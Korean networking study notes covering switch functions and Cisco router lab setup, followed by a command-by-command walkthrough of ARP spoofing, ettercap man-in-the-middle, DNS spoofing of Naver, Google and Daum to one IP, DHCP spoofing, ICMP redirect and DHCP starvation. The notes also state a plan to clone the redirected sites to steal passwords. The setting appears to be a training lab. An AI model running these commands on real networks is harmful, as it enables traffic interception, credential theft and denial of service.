ARP
1. 데이터 링크 레이어
물리계층에서 발생할 수 있는 오류를 찾기위한 CRC기반의 오류제어, 흐름제어를 제공하고수정하기위한 수단을 제공. 물리적 주소체계를 가지고 있으며 네트워크 카드의 고유주소값을 가지고 있다.
맥값은 고유의 값이고 중복될 가능성이 낮지만 없다고 볼 수 없다.
데이터링크장비로는 브릿지(Bridge)와 스위치(Switch)가 있다.
브릿지는 랜과 랜을 연결하는 네트워크 장치이며 소프트웨어적으로 동작하여 스위치보다 속도가 느리다.
스위치는 한 컴퓨터에서 주고받는 데이터가 모든 컴퓨터에 전송되는 것이 아니라 필요한 컴퓨터에만 전달되기 때문에 브릿지보다는 빠르다. 스위치는 5개의 기능으로 구성되는데Learning, Flooding, Forwarding, Filtering, Aging 의 기능을 제공한다.
Learning : 출발지 컴퓨터의 MAC 주소를 저장한다.
Flooding : 데이터를 전송하는 컴퓨터를 제외한 모든 컴에서 데이터를 전송한다.
Forwarding : 목적지 컴퓨터를 아는 경우 해당 목적지로 전송한다.
Filtering : 출발지와 목적지가 간은 Callsign Domain일 경우 장비 외부로 전송되지 않게 막는다.
Aging : 맥을 저장하고 일정 시간이 지날 동안 사용되지 않는다면 삭제한다.
2. 네트워크 레이어
IP패킷을 전송하는 기능 및 라우팅 기능을 담당한다. 여러 노드를 거칠때 최적의 경로를 선택하고 경로에 따라 패키을 전달해 준다. 데이터 주소 지정과 전송, 라우팅, 흐름 제어 , 단편화 우류제어 등을 수행한다. 로컬 네트워크에서는 맥을 사용하지만 이를 벗어나면 네트워크 레이어를 벗어나 IP가 사용된다.
arp request 는 Brocasting 으로 많은 패킷을 발생시킨다. 게다가 Cache table에 많이 의존하고 있어 이를 공격하면 신뢰할 수 없게 된다. 상대방에 대한 인증을 할 수 없어 그 정보를 보내는 MAC 주소에대한 진위를 알 수 없다.
유선을 이용한 공격쯤으로 이해하자.
시스코 라우터를 이용한다.
GNS를 이용하여 네트워크를 구성한다.
|--------SW--------Cloud
cloud---router--|
|--------SW
|--------SW
# conf ter
# show running-config
인터페이스 설정
(conf)# interface fast0/0
(conf-intf)# ip add 172.xxx.xxx.xxx 255.255.255.0
(conf-intf)# no sh //shut down 안되게.
DNS 설정
Router(config)#ip domain lookup source-interface f1/0
R1(config)#ip domain-lookup
R1(config)#ip name-server 8.8.8.8 8.8.4.4
[시스코 라우터 DHCP 설정]
Router(config)#service dhcp
-> dhcp enable
Router(config)#ip dhcp pool dhcp_server
-> pool 이름 설정
Router(dhcp-config)#network 192.168.100.0 255.255.255.0
-> 배정할 IP 대역 설정
Router(dhcp-config)#default-router 192.168.100.1
-> 이더넷 주소 -> 게이트웨이가 된다.
Router(config)#ip dhcp excluded-address 192.168.100.1
-> 이더넷 주소를 pool에서 제외
Router#sh ip dhcp binding
Router#sh ip dhcp server statistics
Memory usage 23246
Address pools 1
Router_HOST#show ip int br
Interface IP-Address OK? Method Status Protocol
FastEthernet0/0 unassigned YES unset administratively down down
FastEthernet1/0 192.168.0.254 YES manual up up
FastEthernet1/1 192.168.1.254 YES manual up up
Router_HOST#
NAT 설정
R1(config)#access-list 10 permit any
R1(config)#ip nat inside source list 10 interface FastEthernet 1/0 overload
R1(config)#interface FastEthernet1/0
R1(config-if)#ip nat outside
R1(config)#interface FastEthernet0/0
R1(config-if)#ip nat inside
R1(config)#interface FastEthernet0/1
R1(config-if)#ip nat inside
copy
ARP 공격후 라우터에서 arp테이블을 초기화 하는것은 arp cache를 초기화 하는방법 뿐이다.
Router#sh arp
Protocol Address Age (min) Hardware Addr Type Interface
Internet 192.168.101.4 45 000c.29d8.b5b1 ARPA FastEthernet1/0
Internet 192.168.101.1 - cc00.09f0.0010 ARPA FastEthernet1/0
Internet 192.168.101.3 43 000c.295d.9851 ARPA FastEthernet1/0
Internet 192.168.101.2 44 000c.295d.9851 ARPA FastEthernet1/0
Internet 192.168.102.1 - cc00.09f0.0020 ARPA FastEthernet2/0
Internet 192.168.137.1 43 0200.4c4f.4f50 ARPA FastEthernet0/0
Internet 192.168.137.2 - cc00.09f0.0000 ARPA FastEthernet0/0
Router#clear arp-cache
Router#sh arp
Protocol Address Age (min) Hardware Addr Type Interface
Internet 192.168.101.1 - cc00.09f0.0010 ARPA FastEthernet1/0
Internet 192.168.102.1 - cc00.09f0.0020 ARPA FastEthernet2/0
Internet 192.168.137.2 - cc00.09f0.0000 ARPA FastEthernet0/0
ARP Spoofing 공격을 수행해 본다.
준비물은 백트랙, 감염PC 그리고 라우터 등이 되겠다.
들어오는 패킷을 포워딩 하기위한 커널파라미터 조작을 하자.
# cat /proc/sys/net/ipv4/ip_forward
# echo 1 > /proc/sys/net/ipv4/ip_forward
# sysctl net.ipv4.ip_forward (커널파라미터 확인)
# sysctl net.ipv4.ip_forward=1/0 (커널파라미터 수정)
스푸핑 공격을 시도하도록 한다.
root@kali:~# arpspoof -t 192.168.101.3 192.168.101.1
root@kali:~# arpspoof -t 192.168.101.1 192.168.101.3
하거나 한쪽으로 해도 무방하다.
# arpspoof -i [Interface Name] -t [타깃IP] [RouterIP]
# arpspoof -i [Interface Name] -t [RouterIP] [타깃IP]
공격 PC에서 중간자 공격을 실시한다.
root@kali:~# ettercap -T -M arp /192.168.101.3/ /192.168.101.1/
이터캡은 MITM을 위한 툴이며 들어오는 패킷을 각각의 서비스에 따라 넘겨준다.
증상 : 공격받는 측 PC는 속도가 감소한다.
탐지 : 라우터에서 show arp 를 하면 arp가 겹치는게 2개가 나올것이다.
또한 공격받는 측 PC에서는 큰 속도저하가 일어난다.
Router#sh arp
Protocol Address Age (min) Hardware Addr Type Interface
Internet 192.168.101.4 0 000c.29d8.b5b1 ARPA FastEthernet1/0
Internet 192.168.101.1 - cc00.1ae4.0010 ARPA FastEthernet1/0
Internet 192.168.101.3 0 000c.295d.9851 ARPA FastEthernet1/0<-요놈
Internet 192.168.101.2 4 000c.295d.9851 ARPA FastEthernet1/0<-요놈
Internet 192.168.102.1 - cc00.1ae4.0020 ARPA FastEthernet2/0
Internet 192.168.137.1 1 0200.4c4f.4f50 ARPA FastEthernet0/0
Internet 192.168.137.2 - cc00.1ae4.0000 ARPA FastEthernet0/0
공격은 아래와 같다.
Trouble shooting
만약 MTU문제가 발생하면 크기를 크게 만들어주자.
ifconfig eth0 mtu 8000
DNS Spoofing
호스트 파일을 이용하여 DNS Query를 물어올때 다른 사이트로 Redirect해보자
역시나 같은 방법으로 할 수 있다.
# arpspoof -i [Interface Name] -t [타깃IP] [RouterIP]
# arpspoof -i [Interface Name] -t [RouterIP] [타깃IP]
ettercap -T -M arp /192.168.101.3/ /192.168.101.1/
-M : mitm
-T : Textmode
#dnsspoof -f host
host
1 125.128.203.178 *.naver.com
2 125.128.203.178 *.ppomppu.co.kr
3 125.128.203.178 *.ppomppu.com
4 125.128.203.178 *.google.com
5 125.128.203.178 *.daum.net
위의 arp공격이 진행되는 상황에서 dnsspoofing을 시도하자.
해당 사이트를 접속하면 설정한 사이트로 이동된다.
추후에 저 사이트를 클론화 하여 비번을 탈취하도록 한다.
DHCP Spoofing
이것은 GW를 조작하는 공격이다.
하지만 이 마저도 arp spoofing한다면 감쪽같이 속일 수 있다.
#ettercap -T -M dhcp:192.168.101.3/255.255.255.0/192.168.101.1
공격 컴에 공격을 하게된다면
Ethernet adapter 로컬 영역 연결 2:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.101.3
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.101.1 <-이 값이
C:\Documents and Settings\Administrator>ipconfig /renew
Windows IP Configuration
Ethernet adapter 로컬 영역 연결 2:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.101.3
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.101.2 <- 변경된다.
이제 arp spoofing을 하게되면
# arpspoof -i [Interface Name] -t [타깃IP] [RouterIP]
# arpspoof -i [Interface Name] -t [RouterIP] [타깃IP]
이 마저도 192.168.101.1 이 된다.
이 공격도 MITM공격과 마찬가지로 네트워크패킷을 캡쳐하는 공격이다.
ICMP Redirect 또한 속이기 공격이고 스니핑이 가능하다.
#ettercap -T -M icmp:cc:00:1a:e4:00:10/192.168.101.1
라우터의 MAC과 라우터GW를 입력하고
이를 지나는 패킷을 감정할 수 있다.
DHCP Starvation
dhcpstarv -i eth1
라우터 Dos공격이라 보면 되겠다.
yersinia -G
를 사용하는 방법도 있다.